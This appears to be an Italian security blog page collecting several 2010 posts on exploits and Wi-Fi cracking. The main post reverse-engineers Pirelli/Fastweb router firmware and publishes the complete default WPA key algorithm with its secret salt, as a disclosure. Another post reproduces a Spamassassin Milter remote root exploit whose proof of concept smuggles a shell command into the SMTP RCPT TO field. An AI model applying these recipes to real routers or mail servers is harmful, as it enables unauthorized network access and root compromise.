Il software Windows FTP Server è affetto di un exploit rilasciato ieri oggi 09/04/2010 che permette l’accesso al FTP senza alcuna credenziale Username e Password.

Il ricercatore Chap0 ha pertanto trovato la vurnerabilità che è stata rilasciata tramite Exploit-DB e potete trovarala dopo il salto!

Continua a leggere

Pochi giorni fa vi avevamo parlato dei risultati della famosa “gara” Pwn20wnin in questo articolo ed uno dei sistemi bucati era proprio l’iPhone.

GeoHot, famoso per le sue ricerche sugli sblocchi dei terminali, ha recentemente lasciato un video che dimostrerebbe l’efficacia degli exploit individuati apportando Untethered Jailbreak su un iPod Touch di Terza Generazione.

Ricordiamo che attualmente non è possibile effettuare un Jailbreak definitivo sugli iPhone 3GS con nuovo iBoot e sugli iPod Touch di Terza Generazione, ma ora si è aperto uno spiraglio…

Continua a leggere

Analizziamo in questo articolo il funzionamento e la tecnica che ci ha permesso di costruire WPA Recovery e pertanto al Disassemblaggio della funzione generatrice di tutte le chiavi WPA Pirelli/FastWeb.

Nonostante questo post sia esclusivamente relativo a Fastweb, il problema non riguarda solamente questo provider ma la più generale nozione di sicurezza dei provider Italiani.

La maggior parte degli utenti che scelgono una encriptazione WPA-PSK si sentono abbastanza sicuri in quanto questo protocollo risulta essere molto robusto, e ciò è effettivamente vero! Ma da quello che apprenderete vi renderete subito conto che il problema sta da un altra parte. Molto spesso tra le sedia e la tastiera! Molte società preferiscono spendere milioni di € in campagne pubblicitarie e non si curano di realizzare dei progetti robusti in termini di sicurezza per garantire la privacy del Cliente.

  • La prima parte di questo articolo sarà una breve introduzione alle notazioni utilizzate e le specifiche tecniche a cui si farà riferimento.
  • Nella seconda parte vedremo nel dettaglio le scelte progetuali adottate per la costruzione della chiave WPA-PSK predefinita impressa nell’etichetta sotto ogni router. Parleremo inoltre dell’architettura degli HAG Fastweb e del modello Pirelli in particolare.
  • Nella terza parte vedremo invece la tecnica di Reverse Enginnering applicata ad un firmware Pirelli Fastweb che ci ha portato alla scoperta dell’algoritmo di generazione della chiave WPA di default.
  • Infine nell’ultima parte accenneremo alle possibili soluzioni per ovviare questi tipi di problemi e garantire perciò una maggiore sicurezza per le comunicazioni di tipo wireless.

Notazioni

MAC Address: codice di 48 bit (6 byte) assegnato in modo univoco ad ogni scheda di rete ethernet prodotta al mondo. Rappresenta in sostanza un nome per un particolare dispositivo di rete. Gli indirizzi MAC vengono solitamente rappresentati in formato esadecimale, separando ciascun ottetto con un trattino o con i due punti. Un esempio di indirizzo MAC è “00-08-74-4C-7F-1D”. Confrontando i primi tre ottetti con le assegnazioni OUI dell’IEEE, si può osservare come esso appartenga alla Dell Corporation, mentre gli ultimi tre ottetti rappresentano il numero seriale assegnato al componente dal produttore.

Ogni scheda ha un indirizzo unico perché i primi 24 bit sono identificativi della casa produttrice e i successivi della scheda. In questo modo ogni casa produttrice ha a disposizione 2 alla 24 indirizzi, quindi può produrre più di 16 milioni di schede; se un produttore ne produce meno, gli indirizzi (a 48 bit) non assegnati vengono persi, non potendo essere utilizzati da altri costruttori. Una lista dei vendors si può trovare a questo indirizzo: Vendors

SSID: il Service Set Identifier è il nome con cui una rete Wi-Fi si identifica ai suoi utenti. Spesso gli access point sono configurati in modo da annunciare continuamente i loro SSID, cossicché i dispositivi Wi-Fi possano creare un elenco delle reti disponibili nella zona in cui si trovano.

WEP: Wired Equivalent Privacy: è un protocollo di sicurezza per reti wireless ormai insicuro e ritenuto legacy.

WPA-PSK: Wi-Fi Protected Access (WPA e WPA 2) è un programma di certificazione e un protocollo per la sicurezza di reti wireless, basato sull’uso di password, amministrato dall’alleanza del Wi-Fi come forma di protezione per le reti di computer wireless.

HAG: Home Access Gateway. Apparato di rete in dotazione dei clienti Fastweb, l’equivalente router/modem fornito ai clienti di altri ISP nazionali. In ingresso riceve un segnale digitale proveniente dalla rete Fastweb, in uscita fornisce un segnale telefonico analogico tradizionale e un segnale dati a velocità variabile, dipendente dal tipo di cablaggio dell’utenza: fibra ottica o xDSL.

Brute Force: Il metodo “forza bruta” è un algoritmo di risoluzione di un problema che consiste nel verificare tutte le soluzioni teoricamente possibili fino a che si trova quella effettivamente corretta.

Il suo principale fattore positivo è che consente teoricamente sempre di trovare la soluzione corretta, ma per contro è sempre la soluzione più lenta o dispendiosa; viene utilizzato come ultima risorsa sia in crittanalisi che in altre parti della matematica solamente in quei casi dove sia l’unico procedimento conosciuto.

Attacco a dizionario: Nella crittanalisi e nella sicurezza informatica, un attacco a dizionario è una tecnica per “rompere” un codice cifrato o un meccanismo di autenticazione provando a decifrare il codice o a determinare la passphrase cercando tra un gran numero di possibilità. In pratica si tenta di accedere a dati protetti da password (sia remoti, come ad esempio accounts su siti web o server di posta; sia locali, come documenti o archivi protetti da password) tramite una serie continuativa e sistematica di tentativi di inserimento della password, solitamente effettuati in modo automatizzato, basandosi su uno o più dizionari. In contrasto con un metodo forza bruta (o attacco brute force), dove tutte le possibili password sono ricercate in maniera esaustiva, un attacco a dizionario prova solamente le possibili password più probabili. Si può usare una lista di parole probabili (detta dizionario).

 

MIPS: acronimo di Microprocessor without Interlocked Pipeline Stages, è un processore di architettura RISC sviluppato da MIPS Computer Systems Inc. Il MIPS è utilizzato nel campo dei computer SGI, e hanno trovato grossa diffusione nell’ambito dei sistemi embedded, dei devices di Windows CE e nei router di Cisco . Le console Nintendo 64, Sony PlayStation, Sony PlayStation 2 e Sony PlayStation Portable utilizzano processori MIPS, nonchè gli HAG forniti da Fastweb ISP, che si basano su un’architettura a 32 bit.

 

IDA: IDA Pro Disassembler and Debugger è un interattivo, programmabile, estensibile, multi-processore, disassemblatore disponibile per sistemi Windows, Linux e Mac OS X. IDA PRO è diventato un software standard per l’analisi del codice ostile alla ricerca di vulnerabilità. Per maggiori informazioni visitare il seguente link: executive overview

Gli HAG Fastweb oggi

La rete Fastweb attualmente distribuisce due modelli di Hag-Fastweb WiFi di due ben note case costrustrici: Telsey e Pirelli.

Per entrambi, Fastweb utilizza un algoritmo proprietario per assegnare in modo univoco una chiave WPA-PSK predefinita dato il rispettivo MAC ADDRESS della scheda wifi interna. Ciò significa che dato un qualsiasi Hag questo è identificato da tre parametri principali: Serial, SSID, WPA-PSK default, MAC Address.

Inoltre l’SSID di rete ha il sequente forato: “Fastweb-A-xxxxxxxxxxxx” dove A può assumere il valore 1 o 2, le x rispecchiano di solito il Mac Address della scheda wireless interna. Dalle prime 3 coppie del MAC è quindi possibile capire di che Hag si tratta. Per i Pirelli Fastweb gli indirizzi sono comunemente del tipo: FASTWEB-1-001CA2xxxxxx o FASTWEB-1-001DBXxxxxxx mentre per i Telsey Fastweb: FASTWEB-1-00036Fxxxxxx oppure FASTWEB-1-002196xxxxxx. Può capitare però che l’SSID non corrisponda al MAC, almeno per le ultime tre coppie. Questo si può facilmente verificare facendo un confronto diretto oppure attraverso uno sniffer di rete come ad esempio kismet.

La chiave WPA-PSK generata di default per ogni Hag è una chiave composta da 10 cifre esadecimali (10 cifre in modo che la stessa chiave supporti contemporanemente lo standard WPA e WEP). Facendo diverse ricerche e riscontri su questo tipo di dati siamo riusciti a capire il significato di quelle lettere apparentemente casuali ed insensate. Per capire meglio il concetto ci affidiamo a qualche esempio pratico reale.

Questi sono i dati (fac-simili) di possibili reti Fastweb Pirelli:

SSID: FASTWEB-1-001CA2AAAAAA

Mac: 00-1C-A2-AA-AA-AA

WEP/WPA PSK: 0964080272

 

SSID: FASTWEB-1-001CA2BBBBBB

Mac: 00-1C-A2-BB-BB-BB

WEP/WPA PSK: 6b6c657368

 

SSID: FASTWEB-1-001CA2CCCCCC

Mac: 00-1C-A2-CC-CC-CC

WEP/WPA PSK: 690268086f

 

Adesso analizziamo le tre chiavi WPA un po’ più da vicino.

0964080272, 6b6c657368, 690268086f

Notiamo subito che le chiavi sono composte da valori esadecimali, aventi quindi un charset di questo tipo {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}

Qui notiamo subito il primo errore progettuale: Scegliere una chiave WPA di 10 caratteri in uno spazio chiavi abbastanza ristretto, tale da favorire un bruteforce attack. Date le crescenti potenze di calcolo, le chiavi WPA dovrebbero tendere più alla lunghezza massima di 64 caratteri che alla minima di 8. 10 caratteri (casuali) sembrano ancora tutt’oggi un numero tale da scoraggiare la forza bruta, ma come vedremo in realtà lo spazio di ricerca in questo caso è molto più stretto.

Maggiori dettagli

Come accennato sopra la password Fastweb WPA è violabile in tempi più che ragionevoli con un meccanismo di bruteforce. Però, l’assunzione alla base di questa procedura è che la generazione della PSK sia casuale. E se invece casuale non fosse ciò che casuale appare? E, soprattutto, se l’algoritmo del tutto deterministico e ripetibile alla base di questa generazione, dipendesse da dati che è alla portata di chiunque ottenere? Se così fosse l’intero scopo della protezione WPA sarebbe sconfitto in partenza: chiunque potrebbe estrarre i dati e calcolare le PSK che gli interessano.

La nostra ricerca intende dimostrare che nel caso dei router Fastweb Pirelli la preshared key è funzione dell’SSID (ovvero, del nome stesso della rete). La vulnerabilità è particolarmente grave, in quanto l’SSID è il dato pubblico per definizione: volendo o meno, qualsiasi software di gestione wifi lo mostra apertamente.

Primo passo necessario allo sviluppo della ricerca è stata l’estrazione del firmware da un router e la successiva importazione in un ambiente adatto allo studio del codice assembler così ottenuto.

A tale scopo abbiamo analizzato il firmware utilizzando un ottimo software: IDA PRO.

Tale ambiente consente la navigazione del codice ASM MIPS, risolve automaticamente i riferimenti tramite le tabelle dei simboli e in generale semplifica enormemente il lavoro di reversing consentendo di concentrarsi sulla lettura e comprensione del codice.

Una spiacevole (piacevole) sopresa è stata la presenza, nel disassemblato di tutte le funzioni con nomi fortemente autoesplicativi (ulteriore grave errore, a nostro avviso, da parte dei programmatori) questo ci ha permesso di semplificare straordinariamente l’analisi del firmmware.

Il cuore dell’algoritmo si svolge nella soubroutine: cript_it. Tale funzione, dal nome palesemente esplicativo, viene invocata indirettamente durante la generazione dei parametri WiFi del dispositivo. Ad essa viene passato come parametro proprio il nome della rete, o meglio parte di esso, che sostanzialmente rappresenta il MAC Address della scheda wifi contenuta nell’HAG, trattato secondo un algoritmo proprietario non difficile da comprendere.

Analisi dell’Algoritmo

In sintesi questi sono i passi svolti dall’algoritmo per ricavare la WPA predefinita partendo dall’SSID di rete.

 

  1. Estrae una sequenza di 6 byte dall’SSID.
  2. Inizializza i vettori MD5 (MD5Init).
  3. Inserisce i 6 byte dell’SSID nella sequenza di cui calcola l’hash MD5 (MD5Update).
  4. Ricalcola l’hash MD5 (dell’hash precedente) utilizzando una sequenza di 20 byte predefinita (MD5Update).
  5. Finalizza l’hash MD5 (MD5Finish).
  6. Dall’hash finale crea una squenza binaria ottenuta considerando i primi 4 byte più significativi dell’hash.
  7. Questa sequenza viene a sua volta suddivisa in 5 gruppi da 5 bit ciascuno. I bit in eccesso vengono scartati. Ed ogni gruppo di 5 bit viene riconvertito in esadecimale (*)  riottenendo una sequenza di 5 byte.
  8. Somma 0×57 ad ogni byte il cui valore sia >= 0xA (**).
  9. La concatenazione di queste rappresentazioni (con lettere minuscole) è la WPA PSK di default.
(*) Una sequenza da 5 bit può assumere il valore compreso tra 0×00 e 0×1F.
(**) L’aggiunta della costante 0×57 avviene poichè i caratteri tra 0xA e 0×60 (estremi inclusi) non sono validi nello spazio chiavi considerato, per cui aggiungendo 0×57 a 0xA si ottiene, appunto, ox61 (primo carattere ammesso dopo 0×09).

I punti 2,3 e 4 dell’Algoritmo sono svolti dalla funzione cript_it. Essa riceve in input una sequenza di 6 byte ottenuta dalla parte terminale dell’SSID raggruppando i byte in 6 gruppi da 2 cifre cadauno (00,12,34,56,78,90), e considerando ciascun gruppo un byte espresso in base 16.

Cosa ne fa è presto detto: ne calcola l’MD5 (per la precisione, inserisce questi 6 byte in una sequenza di cui sarà calcolato l’MD5). La procedura MD5 è nota, documentata, e trovarne implementazioni è alla portata di tutti, in ogni linguaggio: BASIC, C/C++, Pascal, C#, COBOL, … basta una semplice ricerca.

Un esperto di tecniche crittografiche avrebbe sicuramente riconosciuto l’algoritmo anche se la routine invocata si fosse chiamata in modo più oscuro (e avrebbe comunque potuto replicare il codice ASM in un linguaggio a scelta, senza capire di star reimplementando un algoritmo noto in letteratura), ma dichiarare platealmente l’uso dell’MD5 è stata un‘ulteriore semplificazione al nostro lavoro.

Usare solo l’SSID così trattato sarà però sembrato sin troppo banale. Si è allora deciso di aggiungere un salt, ovvero una sequenza speciale prefissata di 0×14 (20) byte, da inserire nella sequenza alterando in modo originale la creazione dell’hash MD5! Derivare il salt è stato abbastanza semplice per chi aveva conoscenze pregresse di assembler MIPS, in quanto il codice si avvaleva di una feature tipica di quell’architettura: il delay slot (riteniamo che non sia stata una deliberata scelta offuscativa dei programmatori, ma l’opera del compilatore intenzionato ad usare ogni ciclo in computazione attiva, e minimizzare i NOP).

Tale caratteristica del MIPS32 implica che quando si esegue un salto (o una chiamata di subroutine), la CPU non la esegue subito, ma ha appunto un ciclo “libero” per svolgere un’altra istruzione.

Di seguito è riportato un’estratto della funzione in questione (cript_it).

.text:00480FF8       la      $t9, atomac
.text:00480FFC       jalr    $t9 ; atomac
.text:00481000       move    $a0, $s0
.text:00481004       lw      $gp, 0xA8+var_98($sp)
.text:00481008       move    $s0, $v0
.text:0048100C       addiu   $a0, $sp, 0xA8+var_90
.text:00481010       beqz    $s1, loc_48109C
.text:00481014       la      $t9, MD5Init
.text:00481018       jalr    $t9 ; MD5Init
.text:0048101C       nop
.text:00481020       lw      $gp, 0xA8+var_98($sp)
.text:00481024       move    $a1, $s0
.text:00481028       addiu   $a0, $sp, 0xA8+var_90
.text:0048102C       la      $t9, MD5Update
.text:00481030       jalr    $t9 ; MD5Update
.text:00481034       li      $a2, 6
.text:00481038       lw      $gp, 0xA8+var_98($sp)
.text:0048103C       addiu   $a0, $sp, 0xA8+var_90
.text:00481040       li      $a2, 0x14
.text:00481044       la      $a1, 0x10020000
.text:00481048       la      $t9, MD5Update
.text:0048104C       jalr    $t9 ; MD5Update
.text:00481050       addiu   $a1, (unk_100220D0 - 0x10020000)
.text:00481054       lw      $gp, 0xA8+var_98($sp)
.text:00481058       addiu   $a0, $sp, 0xA8+var_20
.text:0048105C       la      $t9, MD5Final
.text:00481060       jalr    $t9 ; MD5Final

Conoscendo il delay slot, è evidente che l’indirizzo della sequenza segreta è unk_100220D0. A tale indirizzo troviamo:

0x22,0x33,0x11,0x34,0x02,0x81,0xFA,0x22,0x11,0x41,0x68,0x11,
0x12,0x01,0x05,0x22,0x71,0x42,0x10,0x66

Esempio pratico

 

Poniamo il caso in cui si abbia la propria rete Fastweb avente un SSID di questo tipo FASTWEB-1-00193EA1B2C3.

I 6 byte da considerare sono 00,19,3E,A1,B2,C3. Si calcola l’hash MD5 di questi 6 byte secondo l’algoritmo sopracitato ottenendo: a37d4267f1d177f44d352978d95558a9. Di questo hash si considerano i primi 4 byte nella rappresentazione binaria, ovvero 10100011 01111101 01000010 01100111. Di questa sequenza binaria si formano 5 gruppi di 5 bit ciascuno, ottenendo: 10100 01101 11110 10100 00100, che rappresentati in esadecimale diventano 0×14 0×0D 0×1E 0×14 0×04.

La WPA key si ottiene da questa sequenza di byte confrontanto ciascun byte con 0×0A, se risulta essere maggiore viene aggiunto il valore hex 0×57 (per il motivo precedentemente spiegato) ottenendo così la seguente chiave: 6b64756b04.

Ovviamente, questi sono dati d’esempio (non reali) utilizzati per dimostrare la validità dell’algoritmo.

Le nostre Conclusioni

Non si può evitare, in conclusione, di segnalare che le operazioni dei progettisti sono carenti sotto diversi aspetti:

1) Legare la chiave WPA a dati pubblicamente conoscibili. Chiunque può usare uno sniffer (kismet o airodump) per ricavare ESSID e MAC Address delle reti Fastweb Pirelli (tra l’altro, l’ESSID viene rivelato già dal software di gestione delle reti wireless, senza necessità di un approccio attivo di wardriving). Legare la chiave a informazioni interne del router/modem non deducibili da alcuna combinazione di MAC ed ESSID sarebbe stata una scelta più accurata. Usare algoritmi casuali sarebbe la scelta ideale . Ovviamente, l’uso di casualità deve essere tale da rendere innocuo ogni tentativo di bruteforcing. Ad esempio, rendere del tutto random il quinto byte della chiave non ha senso (un bruteforce su 256 valori si completa in tempi inferiori al secondo su molti sistemi). Selezionare in maniera totalmente random i 20 byte della sequenza, questo sì avrebbe impedito l’approccio alla base di quest’articolo.

Una soluzione più semplice, ma altrettanto efficace, sarebbe stata quella di legare la chiave WPA non al MAC della scheda 802.11 dell’HAG, ma a quello dell’interfaccia Ethernet (ogni scheda Ethernet ha un MAC univoco). Non essendoci alcun legame tra la scheda WiFi e quella Ethernet all’interno dello stesso Hag, la scelta avrebbe impedito una reperibilità on the fly dei dati necessari all’algoritmo, annullando la vulnerabilità concreta connessa alla scoperta dell’algoritmo.

2) Fare il deployment in produzione di router con un firmware con i simboli presenti. La totale mancanza di nomi delle funzioni e variabili avrebbe reso fortemente complicato se non quasi impossibile il lavoro di analisi del firmware. L’unico approccio utilizzabile in tal caso, sarebbe stata la simulazione del codice MIPS su un sistema di emulazione, al fine di dedurre il “punto” in cui effettivamente veniva scritta in memoria la chiave di rete, e un successivo traceback nel codice. Si sarebbe potuto anche far uso di tecniche di offuscamento del codice e di meccanismi anti-debugging, tipici di software commerciali.

3) Aver generato password di soli 10 simboli, tra l’altro cifre esadecimali. Ad una analisi fortemente sommaria è possibile restringere lo spazio di ricerca a 256 alla quinta valori (256 valori possibili in un byte per 5 byte, che danno luogo a 10 cifre se stampati in esadecimale). Analisi più accurate rivelano che i valori dei byte rappresentano lettere dell’alfabeto in minuscolo (a-z) e numeri da 00 a 09 della tabella ASCII. Le possibili combinazioni sono quindi: 26 lettere dell’alfabeto più 10 numeri per un totale di 36 simboli che ognuna di queste coppie può assumere. Ciò significa che in totale abbiamo 36^5 combinazioni possibili, cioè 60466176 combinazioni ~ 60 Milioni. Avendo a disposizione l’handshake di rete, diventa fattibile (avendo un dizionario, banalmente creabile) l’attacco a forza bruta. Questo numero sembra molto alto, ma con la potenza di calcolo che oggi si ha a disposizione è possibile per chiunque testare tutto lo spazio chiavi in meno di un giorno. Considerando la media di 1300 keys/s ci vorranno ~ 13 h nel peggiore dei casi. Se poi distribuiamo il carico di lavoro su più computer (possibilmente più potenti) riusciremo ad avere la chiave nel giro di qualche ora, o addirittura di qualche decina di minuti se si utilizza la potenza di calcolo delle GPU di potenti schede video.

4) Sarebbe buona regola da parte dell’Assistenza Fastweb invitare i nuovi Clienti a modificare il prima possibile le configurazioni inziali accessibili dalla MyFastPage. La chiave di rete predefinita è utile solo inizialmente per testare il corretto funzionamento della linea ADSL e dei vari PC connessi all’HAG, dopodichè deve essere sostituita con una più robusta. L’opzione che mantiene l’accesso automatico dai PC connessi a quella rete va assolutamente evitato.

Dalla MyFastPage è possibile reperire moltissime informazioni sensibili del Cliente, ovvero: Cognome e Nome dell’intestatario, Codici bancari, Codice fiscale (e quindi data di nascita e luogo), Indirizzo e Numero civico dell’abitazione, Numero di telefono fisso ed eventualmente mobile, le fatture associate al conto Fastweb con i relativi dettagli alle chiamate e costi, e i MAC address dei PC connessi alla rete.

Fortunatamente, Fastweb mette a disposizione un modo abbastanza semplice per evitare questi spiacevoli inconvenienti. Modificare la password di default. Infatti dalla MyFastPage->Gestione Abbonamento->Configura WiFi con una semplice procedura è possibile modificare la chiave predefinita. Ma in quanti lo fanno? Lavorando nell’ambito delle reti, per esperienza personale vi possiamo dire che Fastweb copre una buona fetta di mercato per quanto riguarda la fornitura dei servizi internet nelle aziende; il 70% di queste lascia le impostazioni WiFi di default, mentre il 95% lascia l’accesso automatico alla MyFastPage con le password di default.

Noterete che la situazione non è per niente banale o da sottovalutare.

Ci teniamo a sottolineare che più volte abbiamo sollecitato personalmente il suddetto Provider a prendere provvedimenti a riguardo, ma le nostre segnalazioni sono state del tutto snobbate, e la risposta più intelligente è stata: “Gentile cliente, la ringraziamo per il suo contributo ma i nostri clienti possono modificare la chiave wifi dalla MyFastPage.”

Siamo i primi a consigliare (ove possibile) la modifica della chiave di default a prescindere dal gestore, non solo perché lo riteniamo opportuno, ma anche perché la nostra etica ce lo impone.

Siamo convinti che la sicurezza informatica dipende principalmente dal fattore umano. Abbiamo tentato di far sentire la nostra voce a Fastweb, ma non abbiamo ottenuto risposta nè interesse al problema. Per questo motivo abbiamo deciso di pubblicare questo articolo, per informare le persone di una falla di sicurezza che altrimenti resterebbe ad esclusivo beneficio di una ristretta cerchia di savants, a tutto danno del grande pubblico. Auspichiamo che la pubblicazione di questo articolo incentivi le persone a salguardare i propri dati personali evitando così di essere accusati di reati commessi da crackers informatici che sfruttano la nostra rete in modo illegale.

Auspichiamo inoltre che i Provider Italiani possano prendere i giusti provvedimenti a riguardo, progettando sistemi di sicurezza molto più sicuri di quelli attuali.

Fonte

Il Cross Application scripting (CAS) è una vulnerabilità che affligge applicazioni desktop che impiegano un insufficiente controllo dell’input. Un CAS permette ad un attaccante di inserire codice al fine di modificare il contenuto di una applicazione desktop utilizzata. In questo modo si potranno sottrarre dati sensibili presenti nel sistema degli utenti. Gli attacchi alle vulnerabilità CAS hanno effetti dirompenti perche’ possono implicare la completa compromissione dei target indipendentemente da sistemi operativi e piattaforme.

Scoperta inizialmente da Emanuele Gentili e presentata insieme ad altri due ricercatori, che hanno partecipato allo studio della tecnica e alle sue applicazioni, Emanuele Acri ed Alessandro Scoscia durante il Security Summit 2010 di Milano, questa nuova categoria di attacco e’ risultata vincente su prodotti di note software house commerciali ed open source.

Continua a leggere

Exploit-db ha recentemente pubblicato un exploit che affligge Internet Exploit 6 e 7 che permetterebbe l’aggiunta di utenti Amministratori ad un PC mediante la semplice navigazione internet. Questo permetterebbe a malintenzionati di accedere al proprio PC con un utente creato ad hoc  con permessi amministrativi ed accesso remoto.

Dopo il salto l’exploit…

Continua a leggere

Stamattina è stata rilasciata la versione 0.6.5  di WepCrackGUI che come già anticipato percepisce la traduzione in Italiano, grazie alla collaborazione di Over Security!

Continua a leggere

Exploit-db pubblica una nuova falla del famoso cms PHP -Nuke che affligge l’ultima relase 8.1 e permette di visionare il contenuto di un qualsiasi file all’interno della root FTP.
Dopo il salto l’exploit…

Continua a leggere

SpamAssasin è in assoluto il metodo antispam più sfruttato dalle Web Farm mondiali in quanto si integra perfettamente con Apache ed è OpenSource.

Oggi Exploit-Db pubblica una vulnerabilità scoperta da Kingcope che permette l'esecuzione remota di codice malevolo ad insaputa dell'amministratore del sistema.

L’exploit è sfruttabile esclusivamente se è installato anche il Plugin: Spamassassin Milter che permette una personalizzazione avanzata dei filtri basi di SpamAssasin.

Il codice malevolo permette l’esecuzione di qualsiasi comando come utente root e dovrò essere inserito all’interno del campo “RCPT TO”, ovvero nel campo composto solitamente dall’indirizzo e.mail del destinatario.

 

Ecco infine l’exploit dettagliato:

# Title: Apache Spamassassin Milter Plugin Remote Root Command Execution
# EDB-ID: 11662
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Kingcope
# Published: 2010-03-09
# Verified: yes
# Download Exploit Code
# Download N/A

view source
print?
Description: The Spamassassin Milter plugin suffers from a remote root command execution vulnerability. Full exploit details provided.
Author: Kingcope

Spamassassin Milter Plugin Remote Root Zeroday (BTW zerodays lurk in the
shadows not HERE)
aka the postfix_joker advisory

Logic fuckup?

March 07 2010 // if you read this 10 years later you are definetly
seeking the nice 0days!

Greetz fly out to alex,andi,adize
+++ KEEP IT ULTRA PRIV8 +++

Software
+-+-+-+-+
Apache Spamassassin
SpamAssassin is a mail filter which attempts to identify spam using
a variety of mechanisms including text analysis, Bayesian filtering,
DNS blocklists, and collaborative filtering databases.

SpamAssassin is a project of the Apache Software Foundation (ASF).

Postfix
What is Postfix? It is Wietse Venema's mailer that started life at IBM
research as an alternative to the widely-used Sendmail program.
Postfix attempts to be fast, easy to administer, and secure.
The outside has a definite Sendmail-ish flavor, but the inside is
completely different.

Spamassassin Milter
A little plugin for the Sendmail Milter (Mail Filter) library
that pipes all incoming mail (including things received by rmail/UUCP)
through the SpamAssassin, a highly customizable SpamFilter.

Remote Code Execution Vulnerability
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The Spamassassin Milter Plugin can be tricked into executing any command
as the root user remotely.
If spamass-milter is run with the expand flag (-x option) it runs a
popen() including the attacker supplied
recipient (RCPT TO).

>From spamass-milter-0.3.1 (-latest) Line 820:

//
// Gets called once for each recipient
//
// stores the first recipient in the spamassassin object and
// stores all addresses and the number thereof (some redundancy)
//

sfsistat
mlfi_envrcpt(SMFICTX* ctx, char** envrcpt)
{
 struct context *sctx = (struct context*)smfi_getpriv(ctx);
 SpamAssassin* assassin = sctx->assassin;
 FILE *p;
#if defined(__FreeBSD__)
 int rv;
#endif

 debug(D_FUNC, "mlfi_envrcpt: enter");

 if (flag_expand)
 {
 /* open a pipe to sendmail so we can do address
expansion */

 char buf[1024];
 char *fmt="%s -bv \"%s\" 2>&1";

#if defined(HAVE_SNPRINTF)
 snprintf(buf, sizeof(buf)-1, fmt, SENDMAIL, envrcpt[0]);
#else
 /* XXX possible buffer overflow here // is this a
joke ?! */
 sprintf(buf, fmt, SENDMAIL, envrcpt[0]);
#endif

 debug(D_RCPT, "calling %s", buf);

#if defined(__FreeBSD__) /* popen bug - see PR bin/50770 */
 rv = pthread_mutex_lock(&popen_mutex);
 if (rv)
 {
 debug(D_ALWAYS, "Could not lock popen mutex: %
s", strerror(rv));
 abort();
 }
#endif

 p = popen(buf, "r");                [1]
 if (!p)
 {
 debug(D_RCPT, "popen failed(%s).  Will not
expand aliases", strerror(errno));
 assassin->expandedrcpt.push_back(envrcpt[0]);


[1] the vulnerable popen() call.

Remote Root Exploit PoC through postfix
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: [email protected]
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok

$ ls -la /tmp/foo
-rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo

Signed,

Kingcope

Aircrack-ng, per chi ancora non la conoscesse è la suite dedicata all’analisi delle reti Wireless ed è basata esclusivamente su riga di comando.

In questo articolo vedremo la GUI (Intefaccia Grafica) per Aircrack-ng denominata WepCrackGui, interfaccia molto semplice  e di facile utilizzo in costante aggiornamento.

Il progetto nato dallo sviluppatore Criser nel dicembre ottobre 2009 è giunto ormai all’undicesimo aggiornamento dopo poco  meno di 3 mesi, pertanto sta riscuotendo a livello mondiale un notevole interessamento ed apprezzamento.

Continua a leggere

A poche ore dall’annuncio viene diramato tramite exploit-db anche il codice che permette di sfruttare la vulnerabilità di Internet Explorer legata alla pressione del tasto F1 che  interagisce con i file Windows Help.

L’exploit permette di avviare una “help” non convenzionale che potrebbe contenere codice malevolo.

Possiamo trovare il sorgente dell’exploit composto da poche e semplici righe HTML al seguente link.